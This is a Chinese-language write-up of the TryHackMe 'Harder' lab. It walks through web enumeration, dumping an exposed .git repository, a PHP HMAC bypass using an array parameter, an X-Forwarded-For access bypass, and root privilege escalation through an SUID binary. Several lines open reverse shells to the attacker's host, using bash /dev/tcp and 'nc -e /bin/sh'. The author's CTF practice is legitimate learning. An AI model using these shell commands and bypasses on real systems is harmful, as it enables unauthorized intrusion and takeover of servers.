TryHackMe | Harder wp

本篇文章讲述怎么做https://tryhackme.com/room/harder

:由于免费账号只有1小时使用时间,所以下面显示的VM的IP各不相同,但不影响理解。

1、扫描端口,发现开启了22、80端口

nmap -sV -sC -oN nmap/initial 10.10.144.199

搜索nginx 1.18.0有没有可利用的漏洞,发现没有。

searchsploit nginx

2、 浏览器打开http://10.10.144.199,没有发现有用信息,仅显示一个404页面。

3、 执行gobuster搜索子目录

gobuster dir -u http://10.10.144.199/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -t 50 --exclude-length 1985

找到phpinfo.php。

4、开启burpsuite,给http://10.10.247.61发包,发现响应中有domain=pwd.harder.local

编辑/etc/hosts,添加10.10.247.61 pwd.harder.local

让pws.harder.local可访问。随便试试admin admin,无法登录。

5、再次开启gobuster,搜索http://pwd.harder.local下的目录。发现了.git/HEAD等。

gobuster dir -u http://pwd.harder.local-w/usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -t 50

6、利用工具gitdumper.sh下载git文件。git checkout将文件迁出。

wget https://raw.githubusercontent.com/internetwache/GitTools/master/Dumper/gitdumper.sh

./gitdumper.sh http://pwd.harder.local/.git/ git

git checkout *

发现4个文件,分别为.gitignore、auth.php、hmac.php、index.php。

7、查看关键文件hmac.php的逻辑:首先检查是否有h、host输入参数。如果有,则获取n输入参数,将其跟secret进行hmac计算,将计算出来的值再与host输入参数做hmac计算,要求算出的值与h输入参数相同。

google搜索:hmac php bypass,这个网页详细讲述了php跳过hmac的原理

https://www.securify.nl/blog/spot-the-bug-challenge-2018-warm-up/

php跳过hmac的技巧:

只要n为数组,则secret会返回false

$secret = hash_hmac('sha256', $_GET['n'], $secret);

写一个test.php测试,$hmac返回false

<?php

$hmac =hash_hmac('sha256', Array(), "SecretKey");

echo$hmac = = false;

?>

执行test.php,返回1。

假设host=google.com,直接算出hmac并将其赋给h即可满足条件。

test2.php

<?php

$hm =hash_hmac('sha256', 'google.com', false);

echo $hm

?>

17343667cb7056b9d7df53076482d30f8a7ef19ec6c1fe50438af4339891f030

综上所述,构造如下URL可满足hmac.php

/index.php?h=17343667cb7056b9d7df53076482d30f8a7ef19ec6c1fe50438af4339891f030&host=google.com&n[]=

将响应页面展示在浏览器中

至此,获得了evs的密码:9FRe8VUuhFhd3GyAtjxWn0e9RfSGv7xm。

8、修改/etc/hosts以便访问shell.harder.local

输入evs  9FRe8VUuhFhd3GyAtjxWn0e9RfSGv7xm

显示仅为10.10.10.x范围内的IP地址才能访问。

在头部添加X-Forwarded-For,并设置数值为任意10.10.10.0/24,就能显示页面。这是个命令执行。

9、利用命令执行让kali获得反向连接。

将请求方法由GET改为POST,并提交cmd=whoami,页面显示www。

我们尝试将cmd改为反向shell。此处的IP需要改为Kali Linux的。

cmd=bash -i >& /dev/tcp/kali-IP/10000 0>&1

将其进行URL编码(快捷键Ctrl + u),仅将空格变为+。

用reverse shell不行,kali开启10000端口的监听,收不到连接。


用nc,kali收到连接信息,但是被kill了。

换成另一个办法:

在burpsuite中将cmd设置为cmd=nc+kali-IP+10000+-e+/bin/sh。

kali开启端口10000,可以收到连接。

10、反向连接上执行linpeas.sh,检查受害VM有什么可利用的弱点?

wget https://github.com/carlospolop/PEASS-ng/releases/download/20230418-edede4b8/linpeas.sh

kali端执行nc,监听5555端口,并将linpeas.sh传入。

nc -lvp 5555 < linpeas.sh

在受攻击端执行如下命令,相当于下载了linpeas.sh脚本。

/usr/bin/nc kali-IP 5555 > /tmp/linpeas.sh

执行linpeas.sh发现了开启的端口,系统有3个用户,可疑的脚本/usr/local/bin/run-crypted.sh、可获取SUID权限的命令/usr/local/bin/execute-crypted。疑似备份的脚本/etc/periodic/15min/evs-backup.sh。

系统中有evs用户。尝试ssh登录,提示“Could not resolve hostname harder.local”。可以在/etc/hosts添加一行IP  harder.local解决。

ssh evs@harder.local

粘贴之前获得evs账户密码9FRe8VUuhFhd3GyAtjxWn0e9RfSGv7xm。提示Permission denied。说明密码错误。输入从evs-backup.sh中获得evs的ssh密码:U6j1brxGqbsUA$pMuIodnb$SZB4$bw14,可以登录。

查看当前目录下的user.txt,获取user Flag

打开/etc/periodic/15min/evs-backup.sh,发现了evs的ssh密码:U6j1brxGqbsUA$pMuIodnb$SZB4$bw14。

查看run-crypted.sh内容:生成要执行的命令,然后execute-crypted运行gpg用root@harder.local密钥加密的命令。

execute-crypted具有SUID权限。在执行过程中,调用者会暂时获得该文件的所有者权限。execute-crypted属主为root,当我们通过非root用户登录时,由于execute-crypted设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限。利用此特性,我们可通过SUID进行提权。

根据前面的run-crypted.sh,搜索root@harder.local密钥。

find / -name "root@harder*" 2>/dev/null

将root的公钥导入gpg,在当前目录的.gnupg下生成trustdb.gpg、pubring.kbx。

gpg --import /var/backup/root@harder.local.pub

nc监听4445端口,执行cmd.gpg后将出现连接。此时发现uid变成了root。查看/root/root.txt,获得root Flag。

生成一条反向连接本机的命令cmd,给它添加执行权限,用root@harder.local的公钥加密cmd并执行。

echo "nc kali-IP 4445 -e /bin/sh" > cmd

chmod +x cmd

gpg -r root@harder.local -e cmd  //将生成cmd.gpg文件

/usr/local/bin/execute-crypted cmd.gpg  //执行cmd.gpg

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,377评论 6 496
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,390评论 3 389
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 159,967评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,344评论 1 288
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,441评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,492评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,497评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,274评论 0 269
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,732评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,008评论 2 328
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,184评论 1 342
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,837评论 4 337
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,520评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,156评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,407评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,056评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,074评论 2 352

推荐阅读更多精彩内容